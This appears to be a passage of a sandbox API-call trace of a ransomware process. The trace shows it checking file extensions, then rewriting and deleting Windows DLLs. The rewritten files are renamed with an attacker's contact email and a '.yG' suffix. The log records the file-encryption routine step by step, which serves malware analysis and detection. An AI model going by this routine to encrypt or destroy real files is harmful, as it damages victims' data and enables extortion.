	[0055.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.727] lstrlenW (lpString=".zip") returned 4
	[0055.727] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.727] lstrlenW (lpString=".rar") returned 4
	[0055.727] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.727] lstrlenW (lpString=".bz2") returned 4
	[0055.727] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.727] lstrlenW (lpString=".7z") returned 3
	[0055.727] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.727] lstrlenW (lpString=".dbf") returned 4
	[0055.727] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.727] lstrlenW (lpString=".1cd") returned 4
	[0055.727] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.727] lstrlenW (lpString=".jpg") returned 4
	[0055.727] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.728] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.728] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0055.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.728] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=2118360) returned 1
	[0055.728] CloseHandle (hObject=0x2ec) returned 1
	[0055.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
	[0055.728] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.728] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 1
	[0055.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[sysadmin@mail.fr].yg"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1
	[0055.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.729] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.729] lstrlenW (lpString=".doc") returned 4
	[0055.729] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.729] lstrlenW (lpString=".docx") returned 5
	[0055.729] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0055.729] lstrlenW (lpString=".pdf") returned 4
	[0055.729] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.729] lstrlenW (lpString=".xls") returned 4
	[0055.729] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.729] lstrlenW (lpString=".xlsx") returned 5
	[0055.729] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0055.729] lstrlenW (lpString=".ppt") returned 4
	[0055.729] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.730] lstrlenW (lpString=".zip") returned 4
	[0055.730] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString=".rar") returned 4
	[0055.730] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString=".bz2") returned 4
	[0055.730] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.730] lstrlenW (lpString=".7z") returned 3
	[0055.730] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.730] lstrlenW (lpString=".dbf") returned 4
	[0055.730] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.730] lstrlenW (lpString=".1cd") returned 4
	[0055.730] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.730] lstrlenW (lpString=".jpg") returned 4
	[0055.730] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.730] lstrlenW (lpString=".doc") returned 4
	[0055.730] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString=".docx") returned 5
	[0055.730] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0055.730] lstrlenW (lpString=".pdf") returned 4
	[0055.730] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString=".xls") returned 4
	[0055.730] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString=".xlsx") returned 5
	[0055.730] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0055.730] lstrlenW (lpString=".ppt") returned 4
	[0055.730] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.730] lstrlenW (lpString=".zip") returned 4
	[0055.730] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.730] lstrlenW (lpString=".rar") returned 4
	[0055.730] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.731] lstrlenW (lpString=".bz2") returned 4
	[0055.731] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.731] lstrlenW (lpString=".7z") returned 3
	[0055.731] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.731] lstrlenW (lpString=".dbf") returned 4
	[0055.731] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.731] lstrlenW (lpString=".1cd") returned 4
	[0055.731] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0055.731] lstrlenW (lpString=".jpg") returned 4
	[0055.731] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.731] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.731] lstrlenW (lpString="AppVIsvApi.dll") returned 14
	[0055.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.731] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=468696) returned 1
	[0055.731] CloseHandle (hObject=0x2ec) returned 1
	[0055.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20
	[0055.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString=".doc") returned 4
	[0055.732] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.732] lstrlenW (lpString=".docx") returned 5
	[0055.732] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0055.732] lstrlenW (lpString=".pdf") returned 4
	[0055.732] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.732] lstrlenW (lpString=".xls") returned 4
	[0055.732] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.732] lstrlenW (lpString=".xlsx") returned 5
	[0055.732] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0055.732] lstrlenW (lpString=".ppt") returned 4
	[0055.732] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString=".zip") returned 4
	[0055.732] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.732] lstrlenW (lpString=".rar") returned 4
	[0055.732] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.732] lstrlenW (lpString=".bz2") returned 4
	[0055.732] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.732] lstrlenW (lpString=".7z") returned 3
	[0055.732] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString=".dbf") returned 4
	[0055.732] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString=".1cd") returned 4
	[0055.732] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString=".jpg") returned 4
	[0055.732] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.732] lstrlenW (lpString=".doc") returned 4
	[0055.733] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.733] lstrlenW (lpString=".docx") returned 5
	[0055.733] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0055.733] lstrlenW (lpString=".pdf") returned 4
	[0055.733] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.733] lstrlenW (lpString=".xls") returned 4
	[0055.733] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.733] lstrlenW (lpString=".xlsx") returned 5
	[0055.733] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0055.733] lstrlenW (lpString=".ppt") returned 4
	[0055.733] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.733] lstrlenW (lpString=".zip") returned 4
	[0055.733] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.733] lstrlenW (lpString=".rar") returned 4
	[0055.733] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.733] lstrlenW (lpString=".bz2") returned 4
	[0055.733] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.733] lstrlenW (lpString=".7z") returned 3
	[0055.733] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.733] lstrlenW (lpString=".dbf") returned 4
	[0055.733] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.733] lstrlenW (lpString=".1cd") returned 4
	[0055.733] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0055.733] lstrlenW (lpString=".jpg") returned 4
	[0055.733] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.733] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.733] lstrlenW (lpString="AppvIsvStream32.dll") returned 19
	[0055.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.734] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=396960) returned 1
	[0055.734] CloseHandle (hObject=0x2ec) returned 1
	[0055.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20
	[0055.734] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.734] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.734] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.734] GetLastError () returned 0x0
	[0055.734] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x60ea0, lpOverlapped=0x0) returned 1
	[0055.746] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x60eb0, lpOverlapped=0x0) returned 1
	[0055.752] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.752] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0055.753] SetEndOfFile (hFile=0x334) returned 1
	[0055.753] CloseHandle (hObject=0x334) returned 1
	[0055.759] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.759] SetEndOfFile (hFile=0x2ec) returned 1
	[0055.762] CloseHandle (hObject=0x2ec) returned 1
	[0055.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.762] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1
	[0055.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.763] lstrlenW (lpString=".doc") returned 4
	[0055.763] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.763] lstrlenW (lpString=".docx") returned 5
	[0055.763] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0055.763] lstrlenW (lpString=".pdf") returned 4
	[0055.763] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.763] lstrlenW (lpString=".xls") returned 4
	[0055.763] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.763] lstrlenW (lpString=".xlsx") returned 5
	[0055.763] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0055.763] lstrlenW (lpString=".ppt") returned 4
	[0055.763] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.763] lstrlenW (lpString=".zip") returned 4
	[0055.763] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.763] lstrlenW (lpString=".rar") returned 4
	[0055.763] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.763] lstrlenW (lpString=".bz2") returned 4
	[0055.763] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.763] lstrlenW (lpString=".7z") returned 3
	[0055.763] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.763] lstrlenW (lpString=".dbf") returned 4
	[0055.763] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.763] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.763] lstrlenW (lpString=".1cd") returned 4
	[0055.763] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.764] lstrlenW (lpString=".jpg") returned 4
	[0055.764] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.764] lstrlenW (lpString=".doc") returned 4
	[0055.764] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.764] lstrlenW (lpString=".docx") returned 5
	[0055.764] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0055.764] lstrlenW (lpString=".pdf") returned 4
	[0055.764] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.764] lstrlenW (lpString=".xls") returned 4
	[0055.764] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.764] lstrlenW (lpString=".xlsx") returned 5
	[0055.764] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0055.764] lstrlenW (lpString=".ppt") returned 4
	[0055.764] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.764] lstrlenW (lpString=".zip") returned 4
	[0055.764] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.764] lstrlenW (lpString=".rar") returned 4
	[0055.764] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.764] lstrlenW (lpString=".bz2") returned 4
	[0055.764] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.764] lstrlenW (lpString=".7z") returned 3
	[0055.764] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.764] lstrlenW (lpString=".dbf") returned 4
	[0055.764] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.764] lstrlenW (lpString=".1cd") returned 4
	[0055.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77
	[0055.764] lstrlenW (lpString=".jpg") returned 4
	[0055.764] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.765] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.765] lstrlenW (lpString="AppvIsvStream64.dll") returned 19
	[0055.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.765] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=473760) returned 1
	[0055.765] CloseHandle (hObject=0x2ec) returned 1
	[0055.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20
	[0055.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.765] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.765] lstrlenW (lpString=".doc") returned 4
	[0055.765] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.765] lstrlenW (lpString=".docx") returned 5
	[0055.765] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1
	[0055.766] lstrlenW (lpString=".pdf") returned 4
	[0055.766] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString=".xls") returned 4
	[0055.766] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString=".xlsx") returned 5
	[0055.766] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1
	[0055.766] lstrlenW (lpString=".ppt") returned 4
	[0055.766] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
	[0055.766] lstrlenW (lpString=".zip") returned 4
	[0055.766] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString=".rar") returned 4
	[0055.766] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.766] lstrlenW (lpString=".bz2") returned 4
	[0055.766] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.766] lstrlenW (lpString=".7z") returned 3
	[0055.766] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll") returned 77
